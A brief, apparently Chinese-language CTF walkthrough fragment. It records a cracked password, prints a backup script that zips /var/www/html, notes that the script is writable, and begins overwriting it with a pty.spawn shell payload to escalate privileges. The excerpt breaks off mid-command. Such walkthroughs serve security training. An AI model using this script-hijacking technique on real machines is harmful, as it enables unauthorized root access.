得到密码iloveyou1
meliodas@ubuntu:~$ cat bak.py #!/usr/bin/env pythonimport osimport zipfiledef zipdir(path, ziph): for root, dirs, files in os.walk(path): for file in files: ziph.write(os.path.join(root, file))if __name__ == '__main__': zipf = zipfile.ZipFile('/var/backups/website.zip', 'w', zipfile.ZIP_DEFLATED) zipdir('/var/www/html', zipf) zipf.close()
有脚本权限
cat > bak.py << EOF#!/usr/bin/env pythonimport ptypty.spawn( ...